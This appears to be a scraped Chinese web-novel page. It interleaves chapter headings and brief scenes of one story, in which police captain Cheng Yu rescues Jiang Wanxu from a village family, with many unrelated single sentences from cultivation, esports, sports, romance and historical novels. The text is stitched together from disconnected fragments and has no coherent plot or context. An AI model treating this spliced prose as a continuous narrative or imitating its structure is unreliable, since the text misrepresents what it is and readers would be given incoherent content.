这时候已经有很多学生和教官注意到这边的异状,纷纷开始往这边聚集过来。胖子依然一脸平静着看着躺在地上的王雷,丝毫没把聚集过来的人当一回事。
“去做!”李嚣决绝的说道,现在帝雄联合新鬼斧还有黑豹帮都丝毫不能遏制大军的来袭,李嚣不想看着更多的人无辜的死去。
她最初的时候其实并沒想着长占宜平,不过只求困在山中的那些流民能从这里渡江就成,是后來宜平城到手,这才叫她有了贪心,想着能占住这里,好给江北的流民守住一块南下的跳板。
“我已经决定了,我爱的人可以不娶但是不可以不爱!”阿彬说着眼角就滑落两行泪水,他的神情很坚定,爱有时候真的让人无奈。他放弃了梁雪,但是这不意味着他不爱她。
对于马贼BOSS:柳布吟的不相信,傲天只是淡淡的笑了笑,别人不相信你,就算你说得天花乱坠,别人一样不会相信你,要想别人相信你,事实是最好的说明。
看到巨蟒的偷懒行为,傲天彻底无语,懒人我是经常见,但是像你这样懒的巨蟒我还是第一次见到。郁闷的傲天直接一个大火球术丢下去,直接进入巨蟒的大嘴中。
第一卷 第125章 作孽啊
静荷话音刚落,屋子里便响起一阵微弱却犹如惊天之雷一般的肚子咕噜噜叫声,沁儿羞涩的连忙捂住肚子,低下头,脸色血红。
楠西在后面尾随了半天,现在终于听明白了,原来是北京分店的事情有着落了,难怪欧冠昇会这么开心。
“砰!”又是一声巨响,高空中原本不见踪影只见流光的缥缈宗主和追云谷主的身影同时出现在半空,对视无语。
“谷楠,把他们三人第一次来到黑市之后的记忆,给我摘取出来,其余的毁掉!”苏若汐对着谷楠说道。
莫卿卿没有纱布,她只能用匕首把T恤割下来一截缠在伤口上,将伤口包扎起来。
许俊霖高估了自己的影响力,他以为干掉了唐经天,他就会成为新一代年轻人心目中的偶像,再加上搞来两百多亿资金,那还不是呼风唤雨应者云集。结果十几天匆匆过去,他的手下只招募过来三十多个歪瓜裂枣般的雇佣兵。
不过这时候已经顾不得这么多了,有“火元老祖”在,大供奉便不敢轻易出手,‘浪’费自己的实力。
秦寿的余光讶异的撇了一眼接电话的唐悦贤,她的脸色却一切正常,他摇了摇头自己想多了。
只是,如今这条孽龙的声音已经不复之前的清越霸道,反而‘露’出了一股英雄末路的意味,似乎已经山穷水尽了了。
风陌雪是做生意的人,所以不管是发生什么样的事情,一定会考虑到后路。
张宸笑了笑,没有回答,这个社会就是这样不公平,人与人之间只有差距,没有平等。
“慎有大了,我推线过去。”胡杨这个时候推掉了兵线,也往中路赶去。
也就是说,如果抽中前八顺位,选秀权还归尼克斯,下下赛季的首轮选秀权,无论抽中那个位置,都归76人所有。但如果抽中八以后的顺位,这枚选秀权当赛季就归76人了。
安溪吓了一跳,冲进去之后,只看到艾比慢慢的举起一根验孕棒,验孕棒上显示两条红线,也就是两道杠。
冷月儿冷冷一哼:“人类就是无知,轻浮。”说着,眼中闪过一抹鄙夷。
perkz正在塔下回程的时候,就看到了一个顶着卡尔玛护盾,还有幽梦加速的奎因冲进了塔下。
欧阳致远拉着林雪躲在招牌后面,目不转睛的注视着前面的情况。林雪想上去帮忙,可是自己的手给欧阳致远抓的死死的,并且那边情况好像不是很妙。
沐沐显然已经吓坏了,完全不知所措。她做梦也想不到,向来谦和的殿下竟然会如此凶神恶煞的对待自己。眼中,泪花翻涌,眼看就要决堤奔流。
寰姬大叫一声:“父皇。”赶忙几步上前托住,寰姬抱住太祖皇上的同时其他官员才反应过来。
然而这次单打的结果令人失望,迈卡威突破,一步甩掉朱霍乐迪,过倒是过了,接下来的急停跳投,出手之后,只听到砰的一声,跳投打铁了。
老实说,一出电梯门,闻到那股滂臭的味道,他还真担心这孩子受不住出什么事情。
黎念倾还没有已经进入娱乐圈的自觉性,屁颠屁颠地跟在顾玉珩身后感受着在医院畅通无阻且不怕迷路的过程,到了电梯间就开始东张西望。
几个少年和一个青年一起将自己自制的木筏从岸上推了下去,然后欢呼着跑到木筏上面准备出海。
“饿了,想吃。”少年面不红心不跳,淡淡回应,他不解释也不推翻之前的话,而是给了个似是而非的回应。
想到以后黎念倾还会时不时面对这种危险,且他还不一定在身边,顾玉珩的心情就更差了。
“先下去看看吧!”觊觎着蛋的浦思青兰灰色的眼珠一转,轻声建议道。
不仅如此,它们长期生活有莫家屋后,这里是村里的大型聚灵阵的核心位置,天地灵气的浓度也最高,所以获得的好处巨大,远远超过青色蟒蛇。
她的职责是保护三殿下,若是贸然外出,便可能中了调虎离山之计。
“这么说,我倒要感谢几百年前人类的不杀之恩了。”青年游客调侃的笑道。
这个高大棕熊一开始还哼哼,可是到了最后根本是一点声音也没有了,彻底的闭气。
比如那仙道七品功法,就是大衍仙宗拿出来的,以及几件法器、丹药等等,大衍仙宗拿出来的,基本都是顶层的好东西,无双城则是提供了更多的数量。
这也是当初他假意跟玲芩交好,潜伏在南荻的原因,他想借机除掉班将军,没了他,漠雪就无将帅之材可用了,那天域便更加的安稳。
但更多的,就怎么也修复不了,并不是万能灵气效果不够,而是没有“底子”了。
在儿子的鼓励下,孙一凡终于上前一把抱住了萧依晴,然后深深地就吻了下去。
天宇话落,身旁裹着无尽杀光大吼一声劈向柳毅,柳毅嘴角微微一翘,双腿微分,左手伸出,随手拍出,一道光手横空出现,将已经杀到面前的天宇直接拍了出去。
“但是我怎么没有看到你的金币呢?你该不会是骗我们这些可怜的人吧?”那声音再次问道。
看着孟老开怀大笑,再看看冯坤气得冒烟的表情,冯继不由嗤嗤的笑了起来。
洛南看到冯心怡几次委屈得似乎要掉眼泪的样子,不免有些关切。
磷妖一下子就扑在了宋五通身上,闪烁着碧绿色鬼火的身躯将宋五通身体全部点燃。
而且岳毅觉得,老爷子这首曲子编撰一下,还可以作为自己动画的插曲用。
“凝香,你们找星标地图可有什么线索么?”段可紧皱着眉头,对身后的凝香问道。
第一卷 第126章 婚房
江晚絮心里那种不好的预感越来越明显。
她现在只想赶紧带着外公外婆离开王家。
然而,王支书却直接把江晚絮按回了椅子上。
“哎,急啥!”
王支书脸上的笑容收敛了几分,眼神变得有些阴冷。
“这才哪到哪啊。”
“大壮,送你江爷爷和江奶奶回去。”
“江小姐留下,咱们……聊聊?”
聊聊?
大晚上的,孤男寡女,聊什么?
大概这就是精灵世界里属于乔伊护士和护士精灵特有的一种魅力。
决定和程明明一起前往香江后,张达便开始准备行李,和给魏爱玲的礼物了。
公司里的员工大多数都认识自己,南七笑着同他们打了招呼,和江时一同进了VIP专用电梯。
在铜雀台和谢家吃饭的蚨卢,他一直坐在监控室里面,观察着她。
此刻,林寒心神一动,他顿时感到,自己的魂魄,仿若瞬间注入了自己背后虚空中沉浮的苍龙之躯中。
陆垚垚一早起来,就看到许昭和她的经纪人、助理在对面的房间收拾行李,门开着通风,酒店保洁在打理卫生。
顾颜依旧坐在电脑面前,噼里啪啦的试图抢救可是根本就无济于事。
刘枫伸出两根手指,将这比作剪刀形状,轻轻一剪这些细丝瞬间断裂开来。
并在半路击溃了奔流城主力,活捉了徒利家族的继承人,包围奔流城。
此时此刻,另一头磐石巨龙还在中央峡谷的外围厮杀着,这里的场景太过血腥了,何晓云忍不住吐了起来。
事情发展到现在。其实类似于“顺不顺利”的话已经不用再问了。大家都心知肚明。
人的心境是随着年龄的增长和环境的改变而变化的。若干年后沈桐再回头想起自己这个“沒出息”的想法。他自己都觉得可笑。
不错,李旭并没有急于求成,而是再度增加了个各种禁锢阵法以后,采用温水煮青蛙的办法,慢慢消磨。
“听你这么说,还有点道理,我叫火巫,以后咱们就要一起征战人族和妖族了。”火巫首先开口说道。
“没有,我们就是路过,看到谢大少爷在这里,所以就过来打个招呼。”老大继续说道。
张夜一听不禁跳了起来,三不化作两步越过广场,朝那边的大殿去了。
修炼无岁月,转眼就是三千年,相当于外面过了三年。经过不断琢磨无极吞天诀,李旭终于有了一些发现。
听着外边的报价,李海东不由的苦笑了一下。想到苏游刚刚和自己说的话,他点了点头,接受了苏游的建议。
被李旭挡住去路的四个家伙,现在已经被吓得肝胆俱裂。李旭担心泰阿剑把这四个宝贝儿给“误伤”了,于是收起宝剑,干脆施展他前世拿手的“空手夺白刃”的武功招式近身肉搏。
人物卡片不知不觉就只剩下了最后的两张,定睛看去,陆清宇认出其中一张是DOTA中最为潇洒凌厉的剑圣大哥,而另一张却是DOTA中最为猥琐低调的菊花猪。
吴昊天点点头,表示同意,武媚和冯昔月自然也以沉默表示了赞同。
牧牧借用风的力量,利用时间和自己身体的秘密翱翔于风与风之间。
忍者最低级的是普通忍者:被称为初级忍者,刚刚学了一点五行奇门的皮毛,对一般普通人也许可以构成威胁吧,是忍者流派中的最低级人员,常常干一些别人不干的活,例如闲时为那些忍者老大扫扫厕所之类的。
第一卷 第127章 他现在只想杀人
不过呢,他有一个好处,那就是在皇宫里不给李世民面子,似乎自己就是对方的恩人,可是如果是出去的话,他却是非常维护李世民的面子的,这也是为什么李世民几乎所有的时候都给他面子。
托比和扎克,同时也用冰冷的目光望过来,无声地支持着戴佩妮的想法。
陈勃很清楚,眼熟的不仅是背景,更是因为自己曾经经历过,而且还是因为某件事,被自己封存在记忆深处。
这话说的多么好听!语嫣不由得哭笑不得,但从另一个侧面说来,这对兄妹俩是长大了,懂事了,懂得照顾人了。
在众人的注释下,平台旁的石壁上放下了一艘船,船上站着一个黄头发的猥琐青年。
过了一会,叶檀伸手一弹,屋子里的油灯就灭了,然后代金凤双手握住自己的面前的被子的一角,等待最可怕的时刻前来。
阿雷斯也被那声怒吼吓得呆住,然后又被震动摔到地上,和梅露可抱在一起滚出老远。
这个诱惑,对于武林中人来说是无法抗拒的,尤其是面前的这七个黑衣人。
身边这个大兄弟的补兵技术到现在依旧让他感到刻骨铭心,这一局他既然选择了赏金,怎么舍得看到那么大把大把的兵线直接浪费,与其肉疼地看着经济流失,倒不如把自己养得白白胖胖的。
下一瞬,晶莹剔透的寒霜,在金并的脑门上留下一个大洞后,恐怖的冰霜之力,在一瞬间将其冻成了一个冰雕。
双手在地面上拼命的用力,拖着自己的身体,不断的冲着外面爬行,大门就在眼前,只要自己离开了这里,应该就没问题了吧?
我家条件本来就不好,养我这个瞎子很吃力,所以长大后,我就和人学了门推拿的手艺。
紧接着我们一行人开始探寻出路,这并不是一件非常容易的事情。整个地宫已经塌陷的不成样子了,我们必须要在这地宫之中不断的寻找着各种各样的入口和出口。
但是,卡西利亚斯却依旧面色淡然,依旧不断折叠着空间和物质阻挡着罗素。
郝芸情绪低落的点了点头,她也知道就算是在留在这里也问不出有用的线索。
不过,我的心中还确实是有些担心的。老先生迂腐,而慈念也算不上是聪明。三两句话就能被我哄骗的来到天津,万一对方真能玩什么花样的话,他们两个比较耿直的性格,恐怕还真的很难看得出来。
“想什么呢?”这个时候,白芷看到我的眼神之中,带着一丝丝的思念,而后轻声的询问着说道。
宝瓶仙宗所来临的弟子,几乎全部中标,没有遗漏。简直让他们兴奋到极点。
墨朗月临走前不放心又仔细检查了一翻,折了些枯枝遮挡,再加上有树木和积雪的作为屏障,远看之下,或许还能蒙混一时。
说完,两人一同哈哈大笑了起来,其他人的脸上,也换上了淡淡的笑意。
程凌芝顿时有些心动了,她还是很喜欢唱歌的,但是想到家中的某人,有些犹豫了,她只跟他说自己和比人去吃饭了,要是还去唱歌的话,那个霸道的人应该会生气吧?
扑腾一声,滚落在地上,宇智波富岳感觉他的自尊再被弥彦踩在脚下践踏。
云姑与贼人不期而遇,打斗中被那人打伤。也幸好打斗声惊动了皇宫守卫,她才得以趁乱逃脱出来。
“如果我也走的话,那我们就都走不了了,我必须留在这里稳住木叶。”弥彦道。
“老大,你怎么想起给我打电话了,是不是有什么事。”光头强知道没事的话,自己的老大肯定不会给他打电话的。
荆轲点了点头,这个提议他当然会答应,从来没有尽过当父亲的义务,此刻不可能拒绝。
借生死之事博人眼球,求一方关注,是卑微扭曲的可怜虫才会做的事,真要死到临头,他们的畏死之心,会让本性的丑陋无限放大。
他身后的三个手下,也一个个跟打开了什么封印似的,气势飙升。
叶碧娟与荭儿激动的险些跳起来,主仆二人互看一眼,急忙冲车夫招手。
所以,幻天域主根本就不是不过问,而是没有达到利害程度,想当年郁九琰有幸见过幻天域主一面,她的性格……护短威严或许是最好的形容。
酒肉和尚盯着怀中的孩子有一会功夫了,也不知道他在想什么,过了一会,酒肉和尚将孩子给抱走了,离开了这个村子。
“你穿成这样就过来了?”沈严睨着夏雨,都不好意思说她了,看看这里来的,还有比她更简单的吗?
现在是他主宰我们的命运,即便临时加大难度,我也只能被动承受。
“嫂子,你能帮我劝劝明译么?他最听你的话了。”许佳伲望着顾琼依,脸上带着些许期待。
辨别方向,苏湛便朝着幻剑森林外围走去,一路上带着谨慎,毕竟他目前也只有幻体境一重修为,依靠冰雪封天术只能达到突发奇兵的效果,真要正面对上幻体境七重,必然需要一番苦战。
“八嘎!一会你输了!我会让你好看的!”松下恶狠狠的对唐笑向说完就转过了身,准备丢纸团了。
声音中灌了内力,缓缓传送到此地的每一寸角落,冷意遍布,威压袭人。
这下自己在这众目睽睽之下给她吩咐命令,不管行还是不行,这下,她无论如何是无法推掉了。
杨戬被孙侯的话呛得一阵憋气,差点晕了过去。杨峰来找孙悟空的事情恐怕现在玉帝早就知道了,现在还摆出这么大的阵仗,不是明摆着是来商量事情的么?真是笨得可以,杨戬心里腹诽着孙悟空。
第一卷 第128章 不该贪那点美色
程宇两步冲进屋内,直接掠过地上的门板。
抬起拳头,对着王大壮的太阳穴就砸了下去。
这一拳,带着风声。
要是砸实了,王大壮不死也得残废。
“程队!别冲动!”
身后的年轻警察吓得魂飞魄散。
他眼疾手快,死死地抱住了程宇的腰。
“程队,那是嫌疑人!不能打!不能打啊!这要是打死了,你也完了!”
正打算回去的时候,周若曦和齐悦的手机都收到了一条短信,正是肖淇元发来的邀请。
真灵乃是一个生命体的本源烙印,是生命最原始的本源,只要真灵还有一丝尚存,哪怕魂飞魄散依旧有可能存续。
蛮子不进攻,折钰就让手下的士兵赶紧准备石头,火箭等东西,一会儿用于击退蛮子的攻城。
徐枫无奈的摇了摇头,按照这样的年纪问他的医术也再怎么样也不至于差到这样的地步。
虽然生在大家族,但周若曦却从没有享受过什么完美的生活,在周家这么多年,每一天都需要看着别人的脸色行事。
他们已经拿起了自己的武器,一道道冰冷的目光纷纷定格在了刘风的身上。
当修为到达一定地步后,生命层次也就会随之提升,寿命也就因此提升,外貌随着岁月的变化自然要比普通人慢的多。
沈百户等人为了不让百姓受到一点伤害,骑着马,在村里来回喊了一遍。
他们踏过同胞的身体,或爬上了路边商铺的招牌,有的甚至在屋顶上跳跃前进。
毕竟混元大能可没有能力创造主神空间,创造主神空间的必然是‘道’之境界的大能,所以李炫思前想后,攻打主神空间的事只能暂时押后。
执机雷达兵抓耳挠腮,卧槽,这是被干扰了吗?为什么只看到一架直升机?搞得那么紧张,会不会又是前两天那样,过来调戏我们的?
好几次杨越都想问他在干什么,可是话到嘴边又默默地咽了回去。他又不敢翻身背对着眼镜蛇,总觉得脑后生风,有一种凉飕飕的感觉。
没想到,帝国竟然全盘接收了。并且会从他们中间选出精锐,跟传说中的暴风兵同一级,这是多么巨大的荣耀?
“娘子,我不冷,你要是困了先回去休息吧。”停下修炼,赵泽露出微笑道。
听到对方的威胁,以及巷子里嗷嗷乱哼的猪猡,无一不在表明现在局势是何等的危险。
武者的真气与修者的灵气,便是打通经络,提升自己能力的关键。
城中建筑,在这追逃之前,被大面积的破坏,不大一会,城中烟尘弥漫,一方空地也是因此被清理了出来。
什么情况?亚伯罕疑惑的看向莫七所指的后方,随后脸色蓦然一变,一手拽起吓呆了的莫七,向前撒腿就跑。
从中挑出六枚妖丹,将玉匣收进储物袋后,他把装着六个妖丹的玉匣、以及两箱子碳酸饮料都递到李玲儿面前。
“秩序与贵族之神教会绝对会调查恰图导师!”路易斯的眸子瞪大。
远藤良子惨叫一声,下巴猛磕在地上,钻心的疼痛传来,让她直翻白眼。
“走吧,雷动天就在楼上,这一次,我们一定要胜利!”紫枫也是淡淡一笑,看了看周围还在厮杀的伙伴,看了看那层最高的楼房,口中很是坚定的说道。
张三站在一旁,一时也是心酸,招来邻居让人去喊李四等人过来,准备后事。
第一卷 第129章 我,没有亲人
“带走!”
程宇一声令下。
特警们将王贵父子塞进了警车。
程宇小心翼翼地把江晚絮放进自己那辆越野车的后座。
为了让她躺得舒服点,他还特意调整了座椅的角度,又拿了个抱枕垫在她头下。
做完这一切,他才直起身子,长长地吐出一口浊气。
终于。
把你救出来了。
可是,这一切并没有结束。
程宇转过身,看向王家大院的门口。
浩荡的掌威,刹那间便是将宁浩的身影给轰碎开去,随着那身影的破碎,那青幽鬼王脸上的神色不但没有半分的好转,反而显得越来越沉重了起来。
哪怕取走了,也得就地将之给炼化,他们如何可以,在那方绝地之中,存在太久时间?
不过,这次那些半神强者已经认识到了王凡的强大,竟然纷纷高举免战牌,不接受王凡的攻击。
“有什么后悔的,都是以前的事情了。”他叹了一口气,坐在了沙发上。
想到这里,柳尘对着医务室大声“哎哟”了一声,顺势一屁股做到了地上。
望着漫天金光闪闪的血雨中,天后赫拉那冰冷宛如死神的可怕眼神,神殿陷入了漫长的沉默。
所有人不约而同的望向了那个端坐于高高在上的王座上的伟岸身影。而身着毁灭者战甲,手持永恒之枪冈格尼尔的众神之父于冰冷的王座上与低下同样看不出什么表情的艾欧四目相对,半晌没出声。
宁浩脚尖轻点地面,整个身体瞬间便是横拦在了那些高手的面前。
柳尘三人到首尔后,又匆匆忙忙地转机赶往济州岛,刚上飞机,不一会功夫,眼下一片片环山逐渐涌现出来,高楼大厦也开始凸显了出来,飞机开始慢慢降落,最终降落到飞机场。
毁了寻龙令又如何,大不了被这数万里方圆的各大势力所记恨,除却记恨之外,他还能怎么样?
只见那几百名吸血鬼,竟然通通仿佛定格在了空气当中,动也不动。
下意识地放慢了车速,想要给自己一点时间整理情绪。待他终于来到办公室的时候,林薇已经在门口等他了。
即便是人类身边的宠物狗,也会随性的冲过来恐吓我,甚至是攻击我。
瞬间,他的食指漆黑一片,但是仅仅片刻,手指又重新恢复了肉色,代表着他将这根魔指彻底炼化。
坐在沙发上的冷寂澜,琥珀色眼眸若有所思的看着她,把他上一次没问出来的疑问,问了出来。
衣服在空气中被撕裂的声音,那样刺耳……所有的事情是那样的理所当然,顺理成章。
就连简单的纯黑色短袖,湖蓝色的牛仔裤,都让他穿出了一种难得的高级感。
方远翔躺在床上,翻来覆去,怎么也睡不着。抬头看了看钟,发现已经凌晨两点。不由自嘲的笑了。重重躺回枕头上。这是第几个夜晚了?看来自己明天得去买点安眠药了。
“这是我儿子,让他给我做一顿饭怎么了?有什么问题吗?没有,所以就不要说话了。”江乔吃了一口意大利面,喝了一口鱼汤接着说道。
但睿睿不知道的是,现在林飞就在他们家的门口,皱着眉头看向楼上。
干脆把车里的雷明顿霰弹枪还有十几发子弹都拿出来,咔嚓一声上弹从房子后边绕了过去。
可他自己的本命武器,也是一个b级的,另一把备用的都还是九九成的稀罕物。
庄言算不得上她的前任,但他不该在没商量的情况下就擅自退婚还把她拉黑,她要让庄言看看,意气用事的下场就是一事无成。
第一卷 第130章 泄露商业机密
警车驶出了崎岖的山路,开上了国道。
平稳的行驶声,让车厢内陷入了一种诡异的安静。
程宇握着方向盘的手,紧了又松,松了又紧。
他时不时通过后视镜,观察着后座的情况。
江晚絮依然闭着眼,眉头紧锁。
“程队,咱们现在去哪?”
副驾驶的同事小声问道。
“回京市?”
而周楚的危机公关,只能让本就不恨富邦的人不至于产生偏见,却没法拉回本来就心里有了定见的人,更不可能让别人起来捍卫富邦。如此一来,在媒体上周楚的舆论环境其实很不利。
“宇将军,请问你和宇述大将军怎么称呼?他现在何处?你真的是大隋元帅吗?我看你的年龄,应该连二十岁都没有吧。”那人声音铿锵有力地问道。
洛汐搂着清风,放声大哭,为自己,为清风,为飞羽,这一刻,其他的不想,只想要好好的哭一场。
岳悦打了一辆出租车就走了,杨乐凡低着头失落了回到了义凡饭店,只见台子上多了一台电脑,古仪正玩着cf。
今趟在府中行走,萧婉君也感受到了府中下人对自己态度的改变。
她现在只想远离他,因为根本没有勇气却面对现实,无法原谅,也无法释怀的与他分离,唯有逃避,才是她现在唯一能做的,她知道这不是长久之际,可是她也只有这样暂且权宜。
听到门外有些许的动静,冷玉这才慢慢悠悠的晃了出门,虽然她不知道十四和梅墨私奔预定汇合的地点在哪里,可是外面哪里动静最大,跟在后面不就好了?
已经到了这点儿了,周楚没法子,只好叫了一出租车,打车回去。不过现在,露丝已经走了,回去也是独守空房,周楚也就是想早点回去睡觉而已。
可是,林涵溪的回答让他再次有些心灰,原来,她是这般执拗,发生了这么多事,却从未改变过自己的心意。
“那你生气给我看看?”瞿颖儿双手叉腰,抬头挺胸,一脸挑衅的看着林云。
邓允并不是一定要让贺明汐难过,而是有些事情必须是长痛不如短痛,必须让她认清楚这个事实。
但是,没多久,耳边又持续响起的轻敲玻璃的声音,虽然声音不大,却锲而不舍一直“笃笃笃”的,吵闹不休。
贺瑾航就算是在心底责备曲染提出的要求,甚至哪怕到了这一刻依然还是很难受失落的,但却不容许任何人去欺负曲染。
然而这人说好的九点半,她按照时间下楼等到九点四十了,都没见到人影,音讯全无。
“你不睬我,我无聊哎。”赵梅鼓起嘴巴,一屁股坐在了楚诚的身边。她的身体很轻,但是现在她却可以触碰的到楚诚,因为这是她用嘴巴换回来的结果。
颜然握门把的手还没放下,愣了一下刚想把余晚叫过来,余晚就自己走过来了。
距离高考还有十天,姜琳一旦进去,拘留的日子就肯定比这个时间长。
走进隔壁房间的卧室,看着一屋子的玩具,他真是欲哭无泪,费了这么大心思准备房间,居然没派上一点用场。
现在自己跟他时间相处越长,就越觉得委屈,她发现,这辈子自己从来还没有这么委屈过呢!这个没头脑的家伙,怎么就一点儿不明白人家的心呢?
马修示意队友赶紧撤,自己仍旧挡在了黑手党的面前,为队友拖延时间。
第一卷 第131章 这就是人性吗?
“晚晚,这事儿还没完。”
程宇看着江晚絮惨白的脸,心里难受得紧。
“你外公现在的口供,一口咬定是为了报仇。”
“他说顾家害死了他儿子,他就要毁了顾家的孙媳妇。”
“至于把你卖给王大壮……”
程宇冷笑一声。
“他说那是为了给你找个‘好归宿’,远离顾家的纷争。”
“简直就是放屁!”
程宇忍不住爆了粗口。
楚韵姿撇撇嘴,想到之前顾萧然的人来找她,警告她不能惹苏晓青。她惹归惹,可不能把她给惹急了。算了,懒得理她。
他知道他已经将他神魂的一些缺陷弥补了,让他的神魂达到了某种程度上的圆满。
见柳贤儿闹着,柳焕生头都大了。这柳贤儿天生顽皮,对她打也不是,骂也不是,一宠,更是要翻天。
眼下黄泛区周边的情况,在很多人看来如同鸡肋,可现在有了胡彪的出现,很多人都觉得这块鸡肋味道还不错。不用花费太多代价,便能将日军占据的城市收复。
而与之形成强烈对比的,杨千禧在这期节目中,选择了一位长相歪七扭八,外貌丑陋,用方言唱rap的选手。
所以,这场“恐龙电影大战”看似是电影票房之争,实际上却是恐龙外形的定论之争,背后是庞大的恐龙玩具生意,乃至恐龙乐园的项目。
路痴心知,这暴躁是一时的,待它镇定下来,必然会疯狂的抱负自己。
这个废弃矿脉正好就出在百圣山和人族的交界处,进入之后,断古今就感应到里面有浓郁的妖气。
这样做好处也很多,有这些扶持起来的反政府武装,扶桑军队想顺利占领鲜罗全境,只怕就没那么容易。而且鲜罗的民众也会怀疑,扶桑实际是对鲜罗实施了殖民占领。
几个道子一听名字差点没昏厥过去,他们早闻甘青司的种种事迹,可却从没见过,这回赶巧遇上还是这么个情况,一下子哑口无言。
俞晴穿着一双黑色的平底毛毛鞋,特别暖和,但是身上却冷得直哆嗦。
总得来说,他们的打法应付传统的运营流队伍确实很猛,caps找机会能力跟支援能力都不差。
就感觉丹田中的内力,不受控制沿着经脉一路上蹿至脖颈,被对方抽取一空。
于是,这一对刚开始的夫妻都朝着彼此使出眼色,都希望对方可以明白自己的信号。
泣奴说到这里故意停顿下来,含糊其辞,以目示意,香玉在场,是否继续说。
阮家给爷爷办寿,当天肯定有不少客人,糖果饼干多准备一点总没有错。
「等下!」傅柏轩拦住了颜一柠要伸出的手,又拿着剑在符篆上面碰了碰。这时系统疯狂的声音在他脑海里响起。
“那就好,这是我们采购部的第一次采购任务,大家完成的都很出色,我心甚慰。
说着,咬了牙挺着虚弱的身子对朱皇后磕了三个响头。第三个头磕下再起来,身子已经是跪得倾斜了。
李鑫在一边也是十分感慨,看着哭成一团的张家人,他的心头反而是一片轻松。
一路上,两人默默无语。到家之后,凌澜把自己关在房间里,一直到傍晚才出来,她准备去顾涵浩那边跟他和解,为中午时候对他的态度而道歉。
眼前情形,却也是无可开解。孩子被人劫在怀中,亮闪闪的匕首就横在孩子胸前,比划来比划去的,匕首尖锐锋利,看的张德齐胆战心惊,刚刚先叫了一声,不过一下子就是被李鑫给拦住了。
第一卷 第132章 零赔偿协议
“那现在怎么办?”
程宇合上笔记本。
“这本日记,证明不了顾建宏的罪。”
“也证明不了你外公的罪。”
“不。”
江晚絮摇了摇头。
她的眼神,变得前所未有的清明。
“这本日记,能击碎外公的幻想,只要击碎了他的幻想。”
“我就能知道,他和顾建宏到底交易了什么。”
“除了那个所谓的‘恢复名誉’,肯定还有别的。”
江晚絮翻身下床。
已经停下手来冷眼旁观的王藐越御天二人也终于是收回了他们凝望的目光,重新将精力放到了对方之上,有着近百道目光盯着呢,他们完全不担心君严或夜雨寒能够暗地里耍什么手段。
正在跟着苏瑶瑶去取灵酒的南宫浩,莫名其妙的打了一个喷嚏,想着难道是一直雪山和精灵森林两地跑,温差太大感冒了?李末还真是没说错,自己这身子骨有些弱呀,这都跟凡人似的感冒了。
金大宝发狠似的拿起兔腿咬了下去,喷香的兔肉在他口中如同嚼蜡,腹中翻滚着恶心,可是他还是全都咽了下去。
丁香姨还是那么香,那么美,胸膛还是那么丰满柔软,腰胶还是那么柔弱纤细,可是她的一双手,一双脚却已不见了。
“这不是跟不给是一样吗?本来三万块钱借五年,也没有讲下给利息,你这不是在绕我吗?
牛肉汤看完了帖子上的字,又气又急,她忽然从身上掏出了三个沙漏。
他立刻背转身,偷看他的人却“噗吃”一声笑了,笑声居然很甜。
“好了好了,钱的事儿我都打给你了,如果还不信的话,就跟妈去核对一下吧,咱爸妈一共赚了多少钱,你若不清楚,她们总该清楚的吧?”杨暴动说道。
黄晓雯还在演戏,口中出娇媚酥骨让人血脉喷张的呻吟,故意在秦凡面前撕扯衣服和腿上的黑色丝袜。
大明皇帝叫他唐叔,唐春华真是受宠若惊,他们从来没有想过,自己家会跟皇帝扯上关系。
这几个切石师傅费了九牛二虎之力将这块巨大的毛料从中间拦腰切开之后,郑大通和徐哲东迫不及待的走了过来,想要看看毛料切开之后的表现。
“咔嚓!”源氏用力一捏,铁栅栏立刻变形扭曲。源氏立刻从里面钻了出来。
西门狂半躺在靠枕上,一副大少爷的样子,享受着美人的茶水,和夜色。
大伙坐着马车顺着黄河大堤一直朝西走,他们需要再找个可以安全渡河的地方,再探朱家古村。
那年头一千万是个啥概念呀?一个上万人的国企,一个月能不能有千万利润都不好说。
现在孙大田还有孙云云一直没有再露面,易平平生怕会有意外发生。
汤美丽此次用药实在太过大胆,好在,老天爷比较眷顾这个孩子,除了嘴巴有些兔唇的特征以外,身体其它地方全部是健全的,这是个真真正正的男孩,不存在双性人的情况,这已经是不幸中的万幸了。
“这个我可管不了,队长就是腹黑,喜欢戏弄别人,我也是受害者。”贝利施道。
不久以后,张楚回来了。还带着两个战士。每个战士手里都抱着一部电台。总共三部。
作为大明开国皇帝,只此一个,自然要特殊一点,也不需要什么座位牌。
还有一个原因就是黎望壹不让宋渡做饭,在他看来,这种事情完全不需要宋渡动手,她只需要做自己喜欢的事情就好。
第一卷 第133章 把这条命赔给她
坐在程宇的车上,江晚絮看着窗外飞逝的夜景,一言不发。
“你想去哪儿?”程宇问。
“去……洛敏那里吧。”
那是她在京市,除了顾家以外,唯一能想到的去处。
苏洛敏是她大学最好的闺蜜,也是唯一一个知道她这五年过得有多苦的人。
程宇没有多问,一脚油门,直奔市中心的高级公寓。
江炎回之一笑,抬手取过腰间系着的翠玉长笛,将笛横于唇畔,阖目微微、抚弄吹吟。
其实说白一点,不论是凌天片,还是金之族片,吴昊自身已是获得了它们的传承认可,凝聚平衡结界,也就是时间的问题而已。
水涟月凝视着水暮瑶,见她说话时的表情很是严肃,双眸也没有闪烁,倒是信了几分,待水暮瑶话音刚落,巧翠从屋外端进一个托盘,上面放着两盘点心与一壶刚刚沏好的茶水。
“比城下的叛军穿得还烂?难道叛军没有全军出动,还有援军?不好!”杨暕听到罗士信说的,转而一想便发现不对劲。
这些日子驻兵山的百姓热火朝天的大干,当然惊动了与本村一路之隔的张家堡本村大户张老员外。
一封最后通牒写完,随便的折叠了下就交给了等在桌前的主簿,那主簿也不看内容,随手就揣在怀里,拱拱手直接去了。
夏洛特夫人点点头,她赞赏了主教的义举,也和艾德里安略略说了几句。
杨暕显然也没有想到炀帝回来这么一出,只犹豫了一下便走过去坐着,既然皇帝都让我坐这了,我还怕什么。
暂定玩家要求为:30级以上,全身装备至少两件四星野器,为人正直,心态健康。
“这倒也是!”帛清心里默叹了句,那悔愧之意因了江炎的这句宽慰而觉的浅了一些,却还被一种不得释然的忧患情怀隐隐然作弄着,“可父皇心里,一定是很失落的。”还有失望吧!他这样想着。
“太可爱了,竟然真的睡着了!”苏冰倩盯着许卓看了许久,能清晰听到许卓的打呼声,不由抿嘴偷笑。
生死危机之下,魏旭哪里会关什么形象。明知这一下闪避不了,他果断的脚下一松,马蹬一个踩空就这么马背上摔了下来。
许久,当她嘤嘤失了声,连带着身子软下来,手也停下来,孟驰这才心满意足的撤离。
碧连峰姬敏君母子双亡,姬佩芳也深受重伤,林燮这一脉便等于灭了。
